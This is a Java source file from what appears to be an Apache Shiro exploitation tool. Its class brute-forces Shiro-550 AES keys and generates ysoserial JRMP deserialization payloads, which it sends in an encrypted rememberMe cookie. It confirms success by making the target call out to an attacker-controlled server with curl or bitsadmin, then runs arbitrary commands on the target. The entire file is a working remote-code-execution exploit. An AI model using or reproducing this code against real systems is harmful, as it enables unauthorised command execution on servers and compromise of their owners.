package com.shiroexploit.vulnverifier;

import com.shiroexploit.core.AesEncrypt;
import com.shiroexploit.util.*;
import java.io.File;
import java.io.IOException;
import java.util.*;

public class Shiro550VerifiertWithJRMP implements Verifier {
    private Config config;
    private String key;
    private List<PayloadType> gadgets;
    private boolean flag = false;

    public Shiro550VerifiertWithJRMP(){
        System.out.println("[*] Using Shiro550VerifiertWithJRMP");
        this.config = Config.getInstance();
        this.gadgets = new ArrayList<>();
    }


    @Override
    public void getValidGadget() throws ExploitFailedException {
        sendAllCurlPayloadsWithAllKeys();
        this.flag = true;
    }

    @Override
    public void executeCmd(String cmd){

        for(PayloadType type : this.gadgets){
            System.out.println("[*] Using Key " + this.key);
            System.out.println("[*] Using Gadget " + type.getName());
            System.out.println("[*] Executing command: " + cmd + "...");

            process(type, cmd, this.key);
        }
    }


    private void sendAllCurlPayloadsWithAllKeys() throws ExploitFailedException {
        boolean flag = false;

        for(PayloadType payloadType : PayloadType.values()){
            Map<String, String> map = new HashMap<>();

            System.out.println("[*] Trying Gadget: " + payloadType.getName());

            if(config.getPlatform() == 0){
                //linux
                for(String key : config.getKeys()) {
                    String uuid = UUID.randomUUID().toString().replaceAll("-", "");
                    String command = "curl http://" + config.getOOBServerAddress() + ":" + config.getHTTPServicePort() + "/gadget?uuid=" + uuid + "%26type=" + payloadType.getName();
                    process(payloadType, command, key);
                    map.put(uuid, key + ":" + payloadType.getName());
                }
            }else{
                //windows
                for(String key : config.getKeys()) {
                    String uuid = UUID.randomUUID().toString().replaceAll("-", "");
                    String command = "bitsadmin /rawreturn /transfer getfile http://" + config.getOOBServerAddress() + ":" + config.getHTTPServicePort()
                            + "/gadget?uuid=" + uuid + "%26type=" + payloadType.getName() + " C:\\windows\\temp\\download_834723.tmp";
                    process(payloadType, command, key);
                    map.put(uuid, key + ":" + payloadType.getName());
                }
            }


            if(findValidGadget(map)){
                flag = true;
                if(config.isSkipIfFound()){
                    break;
                }
            }

        }

        if(!flag){
            throw new ExploitFailedException("[-] Can not find a valid key or valid gadget");
        }
    }

    private boolean findValidGadget(Map<String,String> map){
        try{
            Thread.sleep(config.getDelay() * 1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }

        String url = "http://" + config.getOOBServerAddress() + ":" + config.getHTTPServicePort() + "/result";
        String result = null;
        try {
            result = HttpRequest.request(url);
        } catch (IOException e) {
            result = "";
        }
        String[] uuids = result.trim().split(",");
        Set<String> validUUID = new HashSet<>(Arrays.asList(uuids));
        Set<String> keys = map.keySet();

        //取交集的目的是防止可能的多次请求造成的错误
        validUUID.retainAll(keys);

        if(validUUID.size() == 0){
            return false;
        }

        for(String str : validUUID){
            String temp = map.get(str);
            String[] pair = temp.split(":");
            this.key = pair[0];
            PayloadType type = getType(pair[1]);
            this.gadgets.add(type);
        }

        System.out.println("[+] Find Valid Key: " + this.key);
        for(PayloadType type : this.gadgets){
            System.out.println("[+] Find Valid Gadget: " + type.getName());
        }

        return true;
    }

    public PayloadType getType(String name){
        for(PayloadType type : PayloadType.values()) {
            if(type.getName().equalsIgnoreCase(name)){
                return type;
            }
        }

        return null;
    }

    private void process(PayloadType payloadType, String command, String key){
        Tools.setJRMPServer(config.getOOBServerAddress(), config.getHTTPServicePort(), payloadType, command);

        command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" JRMPClient " + config.getOOBServerAddress() + ":" + config.getJRMPServicePort();
        byte[] payload = Tools.exec(command);
        String rememberMe = AesEncrypt.encrypt(key, payload);
        HttpRequest.request(config.getRequestInfo(), rememberMe);

        try {
            Thread.sleep(config.getDelay() * 1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}
